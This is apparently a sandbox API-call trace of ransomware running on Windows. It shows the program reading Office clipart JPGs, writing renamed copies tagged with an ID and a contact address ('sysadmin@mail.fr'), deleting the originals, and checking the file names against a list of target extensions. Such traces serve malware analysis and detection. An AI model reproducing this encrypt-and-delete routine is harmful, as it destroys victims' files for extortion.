	[0174.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578
	[0174.647] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.647] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0174.648] GetLastError () returned 0x0
	[0174.648] ReadFile (in: hFile=0x578, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x7c6a, lpOverlapped=0x0) returned 1
	[0174.661] WriteFile (in: hFile=0x484, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x7c70, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x7c70, lpOverlapped=0x0) returned 1
	[0174.662] ReadFile (in: hFile=0x578, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.662] WriteFile (in: hFile=0x484, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.662] SetEndOfFile (hFile=0x484) returned 1
	[0174.662] CloseHandle (hObject=0x484) returned 1
	[0174.663] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.663] SetEndOfFile (hFile=0x578) returned 1
	[0174.665] CloseHandle (hObject=0x578) returned 1
	[0174.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg")) returned 1
	[0174.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0174.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0174.667] lstrlenW (lpString=".doc") returned 4
	[0174.667] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.667] lstrlenW (lpString=".docx") returned 5
	[0174.667] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0174.667] lstrlenW (lpString=".pdf") returned 4
	[0174.667] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.667] lstrlenW (lpString=".xls") returned 4
	[0174.667] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.667] lstrlenW (lpString=".xlsx") returned 5
	[0174.667] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0174.667] lstrlenW (lpString=".ppt") returned 4
	[0174.667] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0174.667] lstrlenW (lpString=".zip") returned 4
	[0174.667] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.667] lstrlenW (lpString=".rar") returned 4
	[0174.667] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.667] lstrlenW (lpString=".bz2") returned 4
	[0174.667] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.667] lstrlenW (lpString=".7z") returned 3
	[0174.667] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0174.667] lstrlenW (lpString=".dbf") returned 4
	[0174.667] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0174.667] lstrlenW (lpString=".1cd") returned 4
	[0174.667] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0174.668] lstrlenW (lpString=".jpg") returned 4
	[0174.668] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.669] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=36820) returned 1
	[0174.669] CloseHandle (hObject=0x578) returned 1
	[0174.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg")) returned 0x220
	[0174.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578
	[0174.670] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.670] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0174.672] GetLastError () returned 0x0
	[0174.672] ReadFile (in: hFile=0x578, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x8fd4, lpOverlapped=0x0) returned 1
	[0175.210] WriteFile (in: hFile=0x484, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x8fe0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x8fe0, lpOverlapped=0x0) returned 1
	[0175.212] ReadFile (in: hFile=0x578, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.212] WriteFile (in: hFile=0x484, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.212] SetEndOfFile (hFile=0x484) returned 1
	[0175.213] CloseHandle (hObject=0x484) returned 1
	[0175.213] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.213] SetEndOfFile (hFile=0x578) returned 1
	[0175.216] CloseHandle (hObject=0x578) returned 1
	[0175.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.217] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg")) returned 1
	[0175.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0175.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0175.219] lstrlenW (lpString=".doc") returned 4
	[0175.219] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0175.219] lstrlenW (lpString=".docx") returned 5
	[0175.219] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0175.219] lstrlenW (lpString=".pdf") returned 4
	[0175.219] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0175.219] lstrlenW (lpString=".xls") returned 4
	[0175.219] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0175.219] lstrlenW (lpString=".xlsx") returned 5
	[0175.219] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0175.219] lstrlenW (lpString=".ppt") returned 4
	[0175.219] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0175.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0175.219] lstrlenW (lpString=".zip") returned 4
	[0175.219] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0175.219] lstrlenW (lpString=".rar") returned 4
	[0175.219] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0175.219] lstrlenW (lpString=".bz2") returned 4
	[0175.219] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0175.219] lstrlenW (lpString=".7z") returned 3
	[0175.219] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0175.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0175.220] lstrlenW (lpString=".dbf") returned 4
	[0175.220] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0175.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0175.220] lstrlenW (lpString=".1cd") returned 4
	[0175.220] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0175.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0175.220] lstrlenW (lpString=".jpg") returned 4
	[0175.220] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0175.420] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=33958) returned 1
	[0175.420] CloseHandle (hObject=0x364) returned 1
	[0175.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg")) returned 0x220
	[0175.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0175.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0175.718] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.718] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0175.719] GetLastError () returned 0x0
	[0175.719] ReadFile (in: hFile=0x408, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x84a6, lpOverlapped=0x0) returned 1
	[0175.730] WriteFile (in: hFile=0x538, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x84b0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x84b0, lpOverlapped=0x0) returned 1
	[0175.732] ReadFile (in: hFile=0x408, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.732] WriteFile (in: hFile=0x538, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.732] SetEndOfFile (hFile=0x538) returned 1
	[0175.732] CloseHandle (hObject=0x538) returned 1
	[0175.732] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.733] SetEndOfFile (hFile=0x408) returned 1
	[0175.738] CloseHandle (hObject=0x408) returned 1
	[0175.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg")) returned 1
	[0175.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0175.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0175.740] lstrlenW (lpString=".doc") returned 4
	[0175.740] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0175.740] lstrlenW (lpString=".docx") returned 5
	[0175.740] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0175.740] lstrlenW (lpString=".pdf") returned 4
	[0175.740] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0175.740] lstrlenW (lpString=".xls") returned 4
	[0175.740] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0175.740] lstrlenW (lpString=".xlsx") returned 5
	[0175.741] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0175.741] lstrlenW (lpString=".ppt") returned 4
	[0175.741] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0175.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0175.741] lstrlenW (lpString=".zip") returned 4
	[0175.741] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0175.741] lstrlenW (lpString=".rar") returned 4
	[0175.741] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0175.741] lstrlenW (lpString=".bz2") returned 4
	[0175.741] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0175.741] lstrlenW (lpString=".7z") returned 3
	[0175.741] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0175.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0175.741] lstrlenW (lpString=".dbf") returned 4
	[0175.741] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0175.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0175.741] lstrlenW (lpString=".1cd") returned 4
	[0175.741] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0175.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0175.741] lstrlenW (lpString=".jpg") returned 4
	[0175.741] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0175.744] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=46508) returned 1
	[0175.744] CloseHandle (hObject=0x360) returned 1
	[0175.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg")) returned 0x220
	[0175.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0175.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0175.745] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.745] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0175.746] GetLastError () returned 0x0
	[0175.746] ReadFile (in: hFile=0x360, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0xb5ac, lpOverlapped=0x0) returned 1
	[0175.770] WriteFile (in: hFile=0x538, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xb5b0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xb5b0, lpOverlapped=0x0) returned 1
	[0175.772] ReadFile (in: hFile=0x360, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.772] WriteFile (in: hFile=0x538, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.773] SetEndOfFile (hFile=0x538) returned 1
	[0175.773] CloseHandle (hObject=0x538) returned 1
	[0175.773] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.773] SetEndOfFile (hFile=0x360) returned 1
	[0175.777] CloseHandle (hObject=0x360) returned 1
	[0175.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg")) returned 1
	[0175.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0175.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0175.778] lstrlenW (lpString=".doc") returned 4
	[0175.778] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0175.779] lstrlenW (lpString=".docx") returned 5
	[0175.779] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0175.779] lstrlenW (lpString=".pdf") returned 4
	[0175.779] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0175.779] lstrlenW (lpString=".xls") returned 4
	[0175.779] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0175.779] lstrlenW (lpString=".xlsx") returned 5
	[0175.779] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0175.779] lstrlenW (lpString=".ppt") returned 4
	[0175.779] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0175.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0175.779] lstrlenW (lpString=".zip") returned 4
	[0175.779] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0175.779] lstrlenW (lpString=".rar") returned 4
	[0175.779] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0175.779] lstrlenW (lpString=".bz2") returned 4
	[0175.779] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0175.779] lstrlenW (lpString=".7z") returned 3
	[0175.779] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0175.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0175.779] lstrlenW (lpString=".dbf") returned 4
	[0175.779] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0175.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0175.780] lstrlenW (lpString=".1cd") returned 4
	[0175.780] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0175.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0175.780] lstrlenW (lpString=".jpg") returned 4
	[0175.780] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0175.781] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=43674) returned 1
	[0175.781] CloseHandle (hObject=0x360) returned 1
	[0175.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg")) returned 0x220
	[0175.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0175.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0175.782] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.782] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0175.784] GetLastError () returned 0x0
	[0175.784] ReadFile (in: hFile=0x360, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0xaa9a, lpOverlapped=0x0) returned 1
	[0176.064] WriteFile (in: hFile=0x538, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xaaa0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xaaa0, lpOverlapped=0x0) returned 1
	[0176.065] ReadFile (in: hFile=0x360, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.065] WriteFile (in: hFile=0x538, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.065] SetEndOfFile (hFile=0x538) returned 1
	[0176.071] CloseHandle (hObject=0x538) returned 1
